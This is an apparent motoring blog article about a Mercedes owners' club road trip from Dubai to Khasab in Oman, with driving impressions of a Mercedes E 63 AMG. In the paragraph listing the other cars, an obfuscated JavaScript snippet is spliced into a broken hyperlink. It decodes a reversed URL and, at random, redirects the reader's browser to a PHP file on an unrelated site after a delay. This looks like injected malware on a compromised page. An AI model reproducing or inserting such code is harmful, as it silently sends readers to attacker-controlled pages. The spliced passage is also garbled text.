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I’m able to muster a barely audible “mornin’ “ to photographer (and crankandpiston namesake) James Davison as he gets into the Mercedes with two strong coffees. The streets of Dubai are almost deserted as the digital readout in front of me ticks across to 6.30am.
Why the ungodly early start? Well, crankandpiston has been invited to join the Mercedes’ Owners Club for a road trip to Khasab, a city in Oman’s Musandam peninsula. Not massively exciting in and of itself, true, but the road between Dubai and Khasab includes a stretch through a mountain pass located on the coast; a sweeping stretch of undulating asphalt just inches from the Gulf’s azure blue water. In short, petrolhead paradise.
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But our journey to Khasab – including an hour for passport and vehicular inspection at border control – is close to 200km, and since we hope to avoid most of the traffic en-route, an early start seemed the best idea (at the time at least anyway). Bleary-eyed, we make our way to the starting point: an Eppco petrol station on Dubai’s main Sheikh Zayed Road.
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As it turns out, we are the first of (what would turn out to be) a two dozen-strong group, which gives us plenty of time to top up the car, top up ourselves, and top up the windscreen washer fluid. It also gives us the chance to eyeball our chariot for this afternoon’s activities: a Mercedes-Benz E 63 AMG.
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Let’s start off with some salient points, by which I mean the thumping great 5.5-litre V8 currently idling under the bonnet. Producing a frankly staggering 557hp, the AMG will hit 100kph from standstill in just 4.2 seconds, and it’s only the electronic limiter that stops the brute powering past its 250kph ‘top’ speed. Add to that equation a seven-speed AMG speedshift transmission and ride control sports suspension, and it looks like being an interesting afternoon.
We’re halfway through our breakfast Subways when the first entrants arrive. “Hello”s, “nice to meet you”s and “oh, you’re from crankandpiston!”s are thrown around as the group monopolises the pumps.
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Among the new arrivals are an older style Mercedes E63 AMG (whose occupants Hasan Shaikh and James Rothwell extended crankandpiston its invitation), a Subaru WRX STI, a Honda S2000, a Range Rover Sport (bizarrely), a BMW 135i, and a Mitsubishi Evo X, which along with owner Mian Muhammad Fayyaz has $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/driveway-heroes-mitsubishi-evo-x/” target=”_blank”>already made its crankandpiston bow.
Within half an hour, as wave after wave arrives, the forecourt is starting to fill up. We decide it best to take our leave before causing a scene, and so the road trip begins!
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At the head of our convoy is Abdallah Hammoud in a rather tasty BMW Z4M. As one of the more established members of the M-Power Club UAE (which is also joining us today), Abdullah quickly issues the necessary ultimatums: no racing; no exceeding the speed limit on the highway; no pratting around.
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That doesn’t mean though that our convoy is bumper-to-bumper and travelling 20kph below the speed limit. As it turns out, nobody is particularly keen to stay at the rear as we head through Sharjah and into neighbouring Umm Al Qwain. Every few minutes, a 3 Series Beemer or an E Class Merc that had previously been filling my rear-view mirror rolls past towards the front of the queue. Since today James and I are upholding crankandpiston honour, we can’t possibly let this stand, and it’s not long before we’ve joined in the game too.
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This continues for an hour and a half along the highways, which as it turns out, is a superb way to roll off click after click of monotonously straight asphalt (even if the shift from high-rise skyscrapers to ever-reddening sand is also a sight to behold). Our good progress though is stunted slightly, nay completely, when we hit Ras Al Khaimah and heavy city traffic. Trapped by set after set of red traffic lights, I at least have some time to consider the Merc’s capabilities.
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So far the power of the E 63 AMG has been beyond question. Linear yes, but brutal nonetheless. Rather surprisingly for a car of this size (the saloon has a kerb weight of 1840kg), both James and I are pressed quite emphatically back into our respective pseudo-bucket seats when the right pedal is stomped, a roar from the exhaust valves emphasising the saloon’s malice.
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The ridiculously slippery road surface, which is much slicker than the roads we have just left behind in Dubai, has also come as a surprise. Plant the right foot, and despite a valiant attempt from the traction control, the rear end squirrels noticeably under heavy acceleration, the V8 desperate to shove 557hp through the rear wheels as quickly as possible. Dramatic and childishly exciting yes, but it does make me wonder how much punishment the tyres can take before they start to flat-spot.
Having worked our way ‘gingerly’ through Ras Al Khaimah, our convoy makes the final schlep to the Oman checkpoint, a stretch which James and I do not find particularly comfortable. That’s certainly not a slight towards the leather-bound seats, which envelope like an armchair. Nor is it down to either leg or headroom, both of which are copious front and rear.
